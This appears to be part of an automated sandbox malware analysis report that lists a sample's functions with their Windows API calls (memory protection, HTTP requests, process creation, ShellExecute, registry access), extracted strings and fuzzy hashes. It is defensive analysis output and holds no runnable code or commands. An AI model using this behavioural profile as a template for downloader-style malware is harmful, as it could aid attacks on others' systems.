API ID: Crypt$ContextErrorHashLast$AcquireCreateDataDecryptDeriveDestroyRelease
String ID: Microsoft Enhanced RSA and AES Cryptographic Provider
API String ID: 3761881897-63410773
Opcode ID: 7f6218a34b9754140a9e9fc40106ac4304b7aaa720599af0eabc3a8fdf2c6258
Instruction ID: 8181a1f98bd0149a833479ac616fd79743055c61a592a1420c0c523c4d9566d8
Opcode Fuzzy Hash: 7f6218a34b9754140a9e9fc40106ac4304b7aaa720599af0eabc3a8fdf2c6258
Instruction Fuzzy Hash: 37819171A00218AFEF209F25CC45B9ABBB9FF45300F0081BAF90DA7291DB359E858F55

Function 00402A20 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 113
memorywindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNEL32(?,?,?,?), ref: 00402AC8
GetLastError.KERNEL32(00000400,?,00000000,00000000,?,?,?,?), ref: 00402ADD
FormatMessageA.KERNEL32(00001300,00000000,00000000,?,?,?,?), ref: 00402AEB
LocalAlloc.KERNEL32(00000040,?,?,?,?,?), ref: 00402B06
OutputDebugStringA.KERNEL32(00000000,?,?), ref: 00402B25
LocalFree.KERNEL32(00000000), ref: 00402B32
LocalFree.KERNEL32(?), ref: 00402B37

Strings

%s: %s, xrefs: 00402B16
Error protecting memory page, xrefs: 00402B11

Memory Dump Source

Source File: 00000000.00000002.2609181185.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Local$Free$AllocDebugErrorFormatLastMessageOutputProtectStringVirtual
String ID: %s: %s$Error protecting memory page
API String ID: 839691724-1484484497
Opcode ID: f25455ec320cf7d64a2bc5a19560f05570590d079a315ae6df6c255a1a5fbc21
Instruction ID: 0c0000675eadf2e66051917e59d7aa22c0aaa2fc97c5d5fe75df83e4770fcd9e
Opcode Fuzzy Hash: f25455ec320cf7d64a2bc5a19560f05570590d079a315ae6df6c255a1a5fbc21
Instruction Fuzzy Hash: 4B310731B00104AFDB10DF68DD44FAAB768EF48704F0541BEE905AB2D2DB75AE06CB98

Function 00401940 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 293
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetSetFilePointer.WININET(?,00000000,00000000,00000000,00000000), ref: 004019D5
InternetReadFile.WININET(?,00000000,000003E8,00000000), ref: 004019F8

Strings

text, xrefs: 00401B5F

Memory Dump Source

Source File: 00000000.00000002.2609181185.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: FileInternet$PointerRead
String ID: text
API String ID: 3197321146-999008199
Opcode ID: 3d034dae1a9451ddff1e7df622ae1b376f6377e5c580f08c5507c419aa9b7673
Instruction ID: 0125e10c814f2167b0c83c61a86ba883da1fe49b2781431745f5a2561ed14111
Opcode Fuzzy Hash: 3d034dae1a9451ddff1e7df622ae1b376f6377e5c580f08c5507c419aa9b7673
Instruction Fuzzy Hash: FAC15B709002189FDB24DF64CC85BD9B7B5EF49304F1041EAE509B72A1D778AE94CF99

Function 00CED0FE Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 00CED126
Module32First.KERNEL32(00000000,00000224), ref: 00CED146

Memory Dump Source

Source File: 00000000.00000002.2609959909.0000000000CEC000.00000040.00000020.00020000.00000000.sdmp, Offset: 00CEC000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cec000_file.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 6cfafc6de2db54e4556214a7ea6548f273d5faf892a07a3ce2e035387b508983
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: C8F096321007506FD7203BF6AC8DBAE76ECAF59734F100629F663911C0DB74ED458A61

Function 00408770 Relevance: 2.5, Strings: 2, Instructions: 27COMMON

Download Yara Rule

Strings

emp, xrefs: 00408787
mixtwo, xrefs: 004087AC

Memory Dump Source

Source File: 00000000.00000002.2609181185.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Sleep
String ID: emp$mixtwo
API String ID: 3472027048-2390925073
Opcode ID: 25b80a3ffdd21913e586197d89a1d0a7f06881a9f76e4fd5286830887ded5122
Instruction ID: d670b023532553bde9b5cd74a18030282768016b503e3e09e149c4df20b712b6
Opcode Fuzzy Hash: 25b80a3ffdd21913e586197d89a1d0a7f06881a9f76e4fd5286830887ded5122
Instruction Fuzzy Hash: 15F01CB161430457E7147F65ED1B7173EA4970271CFA006ADD8141F2C2E7FB861A8BE6

Function 10001523 Relevance: 21.2, APIs: 10, Strings: 2, Instructions: 192
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog3_GS.LIBCMT ref: 1000152A
__cftof.LIBCMT ref: 10001624
InternetOpenA.WININET(?,?,?,00000000,00000000), ref: 1000163D
InternetSetOptionA.WININET(00000000,00000041,?,00000004), ref: 10001660
InternetConnectA.WININET(00000000,?,00000050,?,?,00000003,00000000,00000001), ref: 10001680
HttpOpenRequestA.WININET(00000000,GET,?,00000000,00000000,00000000,80400000,00000001), ref: 100016B0
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 100016C9
InternetCloseHandle.WININET(00000000), ref: 100016E0
InternetCloseHandle.WININET(00000000), ref: 100016E3
InternetCloseHandle.WININET(00000000), ref: 100016E9

Strings

GET, xrefs: 100016AA
http://, xrefs: 10001567

Memory Dump Source

Source File: 00000000.00000002.2612219452.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2612202169.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2612243212.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2612263548.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID: Internet$CloseHandle$HttpOpenRequest$ConnectH_prolog3_OptionSend__cftof
String ID: GET$http://
API String ID: 1233269984-1632879366
Opcode ID: 6ef726b70a96d5212e420baa69142e1171cf0ccdfb6c98ffbdd36cdffced8e0e
Instruction ID: 7cfd31fe4164df5669dc4f011f358c4066a4bf273ac9d15a63e71752a24e0b34
Opcode Fuzzy Hash: 6ef726b70a96d5212e420baa69142e1171cf0ccdfb6c98ffbdd36cdffced8e0e
Instruction Fuzzy Hash: D5518F75E01618EBEB11CBE4CC85EEEB7B9EF48340F508114FA11BB189D7B49A45CBA0

Function 00401800 Relevance: 19.4, APIs: 4, Strings: 7, Instructions: 106
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

HttpAddRequestHeadersA.WININET(?,00000000,00000000,20000000), ref: 00401873
HttpAddRequestHeadersA.WININET(?,00000000,00000000,20000000), ref: 00401899
HttpAddRequestHeadersA.WININET(?,00000000,00000000,20000000), ref: 004018BF

Part of subcall function 00402470: Concurrency::cancel_current_task.LIBCPMT ref: 00402599

HttpAddRequestHeadersA.WININET(?,00000000,00000000,20000000), ref: 004018E5

Strings

Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1, xrefs: 0040189D
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0, xrefs: 004018C3
http://, xrefs: 00401EC4, 004021A3
GET, xrefs: 004020B7
text, xrefs: 00401B5F
Accept-Language: ru-RU,ru;q=0.9,en;q=0.8, xrefs: 00401877
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1, xrefs: 00401832

Memory Dump Source

Source File: 00000000.00000002.2609181185.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: HeadersHttpRequest$Concurrency::cancel_current_task
String ID: Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1$Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0$Accept-Language: ru-RU,ru;q=0.9,en;q=0.8$Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1$GET$http://$text
API String ID: 2146599340-4172842843
Opcode ID: 63080466dd17a9b8a4ff43f685a9b199d52acbea20d3452c9180351abca4782c
Instruction ID: d9449a1bc553b4f7263359658e85a8d5597bae1f9675cad689ed873ec2693fe7
Opcode Fuzzy Hash: 63080466dd17a9b8a4ff43f685a9b199d52acbea20d3452c9180351abca4782c
Instruction Fuzzy Hash: A4316371D00109AFEB14DBE9CC85FEEB7B9EB08714F60812AE521731C0C7789945CBA4

Function 04B4003C Relevance: 12.8, APIs: 5, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32(00000000,?,00001000,00000004), ref: 04B4024D

Strings

kernel32.dll, xrefs: 04B4008F, 04B40095
cess, xrefs: 04B4018D

Memory Dump Source

Source File: 00000000.00000002.2611357817.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b40000_file.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction ID: aaf139267ef4e5642fbb18c39f388347c894ce93ea4240f5c082b251081cc81f
Opcode Fuzzy Hash: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction Fuzzy Hash: EB527974A01229DFDB64CF68C984BACBBB1BF49304F1480D9E94DAB351DB30AA85DF15

Function 10001175 Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 264
networkcomfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog3_GS.LIBCMT ref: 1000117F
InternetSetFilePointer.WININET(?,00000000,00000000,00000000,00000000), ref: 100011DD
InternetReadFile.WININET(?,?,000003E8,?), ref: 100011FB
HttpQueryInfoA.WININET(?,0000001D,?,00000103,00000000), ref: 10001298
CoCreateInstance.OLE32(?,00000000,00000001,100111B0,?), ref: 100012CA

Strings

text, xrefs: 10001327

Memory Dump Source

Source File: 00000000.00000002.2612219452.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2612202169.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2612243212.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2612263548.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID: FileInternet$CreateH_prolog3_HttpInfoInstancePointerQueryRead
String ID: text
API String ID: 1154000607-999008199
Opcode ID: f206d19b4f254f0d6769d041d1967d247a093756c437c0eb0d60e70cbfafb4d3
Instruction ID: b002d723a568eb8b1b2c33cfea8b8604ab2d7fe63d6740fb25dc42610badb9b0
Opcode Fuzzy Hash: f206d19b4f254f0d6769d041d1967d247a093756c437c0eb0d60e70cbfafb4d3
Instruction Fuzzy Hash: 62B14975900229AFEB65CF24CC85BDAB7B8FF09355F1041D9E508A7265DB70AE80CF90

Function 00405A30 Relevance: 8.2, APIs: 2, Strings: 3, Instructions: 678sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 004107E2: GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,00405A7F,00000000,F6E2F767), ref: 004107F7
Part of subcall function 004107E2: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00410816

Sleep.KERNEL32(000005DC), ref: 00405A90

Strings

SUB=, xrefs: 00405A98
U%, xrefs: 00406916
get, xrefs: 00405E91

Memory Dump Source

Source File: 00000000.00000002.2609181185.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Time$FileSleepSystemUnothrow_t@std@@@__ehfuncinfo$??2@
String ID: SUB=$get$U%
API String ID: 2563648476-1840017472
Opcode ID: 167d1afffcf2c6992d5677df203f6ddfa97db10191ac7580195699f566a7dfe0
Instruction ID: c38411781881cdafda6c84006562c20812e5f10be50bcbbeaff71a156a434d29
Opcode Fuzzy Hash: 167d1afffcf2c6992d5677df203f6ddfa97db10191ac7580195699f566a7dfe0
Instruction Fuzzy Hash: 04323171D101089BCB19FBB5C95AADE73786F14308F50817FE856771C2EE7C6A08CAA9

Function 10001F20 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 182
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 10005956: GetSystemTimeAsFileTime.KERNEL32(00000000,?,?,?,10001F48,00000000), ref: 10005969
Part of subcall function 10005956: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 1000599A

CreateProcessA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?), ref: 1000212B
ShellExecuteA.SHELL32(00000000,open,?,00000000,00000000,0000000A), ref: 10002155

Strings

.exe, xrefs: 1000206B
open, xrefs: 1000214F

Memory Dump Source

Source File: 00000000.00000002.2612219452.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2612202169.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2612243212.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2612263548.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID: Time$CreateExecuteFileProcessShellSystemUnothrow_t@std@@@__ehfuncinfo$??2@
String ID: .exe$open
API String ID: 1627157292-49952409
Opcode ID: 56d22cbb363ef52b0cda4d79fccaca7080f97512d5dca005a7fc8db3fc5e430b
Instruction ID: 97952a91a625a221cb26b3956644a393a6e3da00256d77b8c5daa8cab0653b15
Opcode Fuzzy Hash: 56d22cbb363ef52b0cda4d79fccaca7080f97512d5dca005a7fc8db3fc5e430b
Instruction Fuzzy Hash: 40514B715083809BE724DF64C881EDFB7E8FB95394F004A2EF69986195DB70A944CB62

Function 00401E20 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 154
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

http://, xrefs: 004021A3

Memory Dump Source

Source File: 00000000.00000002.2609181185.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID: http://
API String ID: 0-1121587658
Opcode ID: 9432e62186f2f9598efc4e2b603940abe351034223c82a34c2a9509acc0423bb
Instruction ID: 09126ff878240097ddd60f0c8300d9112e53121ff3c2cf1df5c9ef382bee38eb
Opcode Fuzzy Hash: 9432e62186f2f9598efc4e2b603940abe351034223c82a34c2a9509acc0423bb
Instruction Fuzzy Hash: 1A518E71E002099FDF14CFA9C895BEEB7B9EB08304F10812EE915BB6C1C779A944CB94

Function 009ACF53 Relevance: 4.6, APIs: 3, Instructions: 146
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyA.ADVAPI32(80000001,-1B9C3049,-1B9C3307), ref: 009B06B0
RegOpenKeyA.ADVAPI32(80000002,-1B9C3526,-1B9C3307), ref: 009B06D7
GetNativeSystemInfo.KERNEL32(-1B9C3107), ref: 009B072E

Memory Dump Source

Source File: 00000000.00000002.2609374987.00000000009A9000.00000040.00000001.01000000.00000003.sdmp, Offset: 009A9000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a9000_file.jbxd

Similarity

API ID: Open$InfoNativeSystem
String ID:
API String ID: 1247124224-0
Opcode ID: 31fe50eed3729e0d47082589870a2a767d099cdfd883cc43b9975fa4bfe58430
Instruction ID: ad5e072bf01ef2511213a221520f7754ca2c10cdbf73d88da853898e23919244
Opcode Fuzzy Hash: 31fe50eed3729e0d47082589870a2a767d099cdfd883cc43b9975fa4bfe58430
Instruction Fuzzy Hash: 5251CD7610820ADFDB15DF14C944AEFBBE5EF45324F11082EE9C182950E77A4DA4DF8A

Function 004021F0 Relevance: 4.6, APIs: 3, Instructions: 53
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNEL32(?,40000000,00000001,00000000,00000002,00000080,00000000), ref: 00402226
WriteFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 00402247
CloseHandle.KERNEL32(00000000), ref: 0040224E

Memory Dump Source

Source File: 00000000.00000002.2609181185.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: File$CloseCreateHandleWrite
String ID:
API String ID: 1065093856-0
Opcode ID: d9729f344c6c322aed8993abd69ccd2b034d96b2116c2c448128c12d9a7231e9
Instruction ID: 5700bef43f604e24781938fdb315806f7bd82b17c931dadbe0ad0f8cbe635642
Opcode Fuzzy Hash: d9729f344c6c322aed8993abd69ccd2b034d96b2116c2c448128c12d9a7231e9
Instruction Fuzzy Hash: 2B01D272600208ABDB20DBA8DD49FAEB7E8EB48714F40417EFA05A62D0CBB46945C758

Function 00410536 Relevance: 4.5, APIs: 3, Instructions: 15
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(08758BC2,?,00410530,00000016,0040CDA2,?,08758BC2,F6E2F767,0040CDA2,08758BC2), ref: 00410547
TerminateProcess.KERNEL32(00000000,?,00410530,00000016,0040CDA2,?,08758BC2,F6E2F767,0040CDA2,08758BC2), ref: 0041054E
ExitProcess.KERNEL32 ref: 00410560

Memory Dump Source

Source File: 00000000.00000002.2609181185.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 51baef39f8712e3c962c42c17cb56c32fa66d4279d62b7c7599e975f33ebcb9d
Instruction ID: 67797f44d9d46dd495823d9566bad27c4dc507fd550e6630b3786a266b8fea83
Opcode Fuzzy Hash: 51baef39f8712e3c962c42c17cb56c32fa66d4279d62b7c7599e975f33ebcb9d
Instruction Fuzzy Hash: A0D09E31000108FBCF11AF61DC0D8CD3F26AF40355B008035BD0945131DFB59DD69E48

Function 004132B1 Relevance: 3.0, APIs: 2, Instructions: 22
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlFreeHeap.NTDLL(00000000,00000000,?,00418A2B,00000000,00000000,00000000,?,00418A50,00000000,00000007,00000000,?,00418D2F,00000000,00000000), ref: 004132C7
GetLastError.KERNEL32(00000000,?,00418A2B,00000000,00000000,00000000,?,00418A50,00000000,00000007,00000000,?,00418D2F,00000000,00000000), ref: 004132D2

Memory Dump Source

Source File: 00000000.00000002.2609181185.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: 57565e6569af0ee8b6bc535b15a06f29f01c2303c5bd8ca1e852723f0256f5c9
Instruction ID: d8d9c1c0f29fd1ae3c391d4f931883298020c9469a54bb124b4f82b2896bf902
Opcode Fuzzy Hash: 57565e6569af0ee8b6bc535b15a06f29f01c2303c5bd8ca1e852723f0256f5c9
Instruction Fuzzy Hash: E6E0E6356002146BCB113FB5AC097D57F68AB44759F114076F60C96161D6398996879C

Function 04B40E0F Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000400,?,?,04B40223,?,?), ref: 04B40E19
SetErrorMode.KERNEL32(00000000,?,?,04B40223,?,?), ref: 04B40E1E

Memory Dump Source

Source File: 00000000.00000002.2611357817.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b40000_file.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: f91484002589e88e4a4d3f6ea8ab43fed4857b487d85ba7f5556b63228273427
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: 0BD0123154512877D7003A94DC09BCD7B1CDF09B62F008451FB0DD9080C770964046E6

Function 00AAA0B1 Relevance: 1.5, APIs: 1, Instructions: 34memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?), ref: 00AAA108

Memory Dump Source

Source File: 00000000.00000002.2609374987.0000000000AA9000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AA9000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_aa9000_file.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: b3a8c6ed8dc826447d223531739a1b2fe0fd7c7af4461f27c0cf4ac263f778f4
Instruction ID: 15cb9c0051f1342dc9b0a95c6070f75e0cc2823682430babb103047e834ff598
Opcode Fuzzy Hash: b3a8c6ed8dc826447d223531739a1b2fe0fd7c7af4461f27c0cf4ac263f778f4
Instruction Fuzzy Hash: 62F0AF7610820BAFDB92EF54C5818EF77A1EF97330F204520E88567D51D3B66C21DB49

Function 00AAA0D3 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?), ref: 00AAA108

Memory Dump Source

Source File: 00000000.00000002.2609374987.0000000000AA9000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AA9000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_aa9000_file.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 463ec44888b2a312c5a84106b6b023f516c383c0608f09db4fdf02e09e77ea33
Instruction ID: c0ecef5c983ea7c3247003e9f5ad9241e02dc68df0548c92d8c02007026bce5f
Opcode Fuzzy Hash: 463ec44888b2a312c5a84106b6b023f516c383c0608f09db4fdf02e09e77ea33
Instruction Fuzzy Hash: 7BF090B260820BAFDB52DF55C5414EE77A0EF97330F204425E881A7D52E3A26C21DB49

Function 100079EE Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,10001F83,?,?,10002743,10001F83,?,10001F83,0007A120), ref: 10007A20

Memory Dump Source

Source File: 00000000.00000002.2612219452.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2612202169.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2612243212.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2612263548.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: f1ff2abc0f9b0129279cb81424fa89791b5c74a503f020079eb334c9f6e41783
Instruction ID: 0f7b013f9e5e8caa32c185eac4a395cd376aa25861a87a311eefda30a96e0e36
Opcode Fuzzy Hash: f1ff2abc0f9b0129279cb81424fa89791b5c74a503f020079eb334c9f6e41783
Instruction Fuzzy Hash: 2FE0A035B0012266F711EA698C00B8F3A89FB832F0F124120AC489209ADA68DE0181E2

Function 00413C79 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,00402809,00402805,?,0040AD1B,0040280B,00402805,0042D884,?,?,00403597,?,00402809,00402805), ref: 00413CAB

Memory Dump Source

Source File: 00000000.00000002.2609181185.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 0317c977ae3de03b4a355117f1d18651feb64bc701aa808cd4791dde922aff94
Instruction ID: d9d624181c4160d02ab49c773ca7be82655902724fa9057d6622eb650e71da69
Opcode Fuzzy Hash: 0317c977ae3de03b4a355117f1d18651feb64bc701aa808cd4791dde922aff94
Instruction Fuzzy Hash: BAE0E53350013057D6213F668C007DB7A4C9F413A2F180167EC18B62D0FA6CCE8141ED

Function 009ACF25 Relevance: 1.5, APIs: 1, Instructions: 24libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 009ACF39

Memory Dump Source

Source File: 00000000.00000002.2609374987.00000000009A9000.00000040.00000001.01000000.00000003.sdmp, Offset: 009A9000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a9000_file.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 35b1aa53981b310fde10dfa9d1d3f1f950c73e13cc2808e847c22abc41bd2f3e
Instruction ID: 5860003b203c7620d509779631a034d79d6dafb008438c2e2559339ddeed4f9c
Opcode Fuzzy Hash: 35b1aa53981b310fde10dfa9d1d3f1f950c73e13cc2808e847c22abc41bd2f3e
Instruction Fuzzy Hash: 89F0BCB240C241CFC3412F2AC55446AFBF8FF25711F160D1ED6C28A625E33549A19F93

Function 00CECDBD Relevance: 1.3, APIs: 1, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,?,00001000,00000040), ref: 00CECE0E

Memory Dump Source

Source File: 00000000.00000002.2609959909.0000000000CEC000.00000040.00000020.00020000.00000000.sdmp, Offset: 00CEC000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cec000_file.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: b5fb26d6f1c4254bc8adde9ef39c6e5e3b6dfbcd4e03a20aefcf6b50d9273e94
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 71113C79A00248EFDB01DF99C985E99BBF5AF08350F058094F9489B362D375EA50EF80

Function 00402E30 Relevance: 1.3, APIs: 1, Instructions: 9memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,?,?), ref: 00402E3F

Memory Dump Source

Source File: 00000000.00000002.2609181185.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 9b7f6f3ca0983af9e8fdb80d9d56c3a0869d2f15b64f49a49faae6a606d2425e
Instruction ID: eb79ea19b3e1abf3f5b24c483eecae43203cd8e5c5511bfeef65b24117358006
Opcode Fuzzy Hash: 9b7f6f3ca0983af9e8fdb80d9d56c3a0869d2f15b64f49a49faae6a606d2425e
Instruction Fuzzy Hash: 17C0483200020DFBCF025FD1EC048DA7F2AFB09260B00C020FA1844032C773A931ABA5

Function 00402E50 Relevance: 1.3, APIs: 1, Instructions: 8COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE(?,?,?), ref: 00402E5C

Memory Dump Source

Source File: 00000000.00000002.2609181185.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: c340e0d22e4fb20872e2675f8e927c09d9f86923da33760a30bf271b1d9be8d1
Instruction ID: a3fa6bbe5c1a250ebea8c2fc35f655263c95a0ace9f7750fc45cf9fcc5ecde2d
Opcode Fuzzy Hash: c340e0d22e4fb20872e2675f8e927c09d9f86923da33760a30bf271b1d9be8d1
Instruction Fuzzy Hash: 5CB0923204020CFBCF025F81EC048D93F6AFB0C261B408020FA1C44031C7339675AB84

Non-executed Functions

